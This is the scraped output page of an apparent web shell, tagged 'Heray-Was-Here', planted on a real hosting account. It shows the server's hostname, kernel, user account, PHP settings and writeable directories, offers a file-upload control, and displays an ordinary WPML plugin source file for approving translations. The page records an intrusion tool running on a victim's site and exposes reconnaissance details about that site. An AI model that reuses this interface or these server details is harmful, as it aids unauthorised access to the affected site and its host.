Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/ATE/Review/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/ATE/Review/ApproveTranslations.php
<?php

namespace WPML\TM\ATE\Review;

use WPML\Ajax\IHandler;
use WPML\Collect\Support\Collection;
use WPML\FP\Either;
use WPML\FP\Fns;
use WPML\FP\Lst;
use WPML\FP\Obj;
use WPML\TM\API\Jobs;
use function WPML\Container\make;

class ApproveTranslations implements IHandler {

	public function run( Collection $data ) {
		$jobIds = $data->get( 'jobsIds' );

		return wpml_collect( $jobIds )
			->map( Jobs::get() )
			->filter( ReviewStatus::doesJobNeedReview() )
			->map( Obj::addProp( 'translated_id', Jobs::getTranslatedPostId() ) )
			->map( Obj::props( [ 'job_id', 'translated_id' ] ) )
			->map( Lst::zipObj( [ 'jobId', 'postId' ] ) )
			->map( 'wpml_collect' )
			->map( [ make( AcceptTranslation::class ), 'run' ] )
			->map( function ( Either $result ) {
				$isJobApproved = Fns::isRight( $result );
				$jobId         = $result->coalesce( Fns::identity(), Fns::identity() )->getOrElse( 0 );

				return [ 'jobId' => $jobId, 'status' => $isJobApproved ];
			} );
	}
}

Hry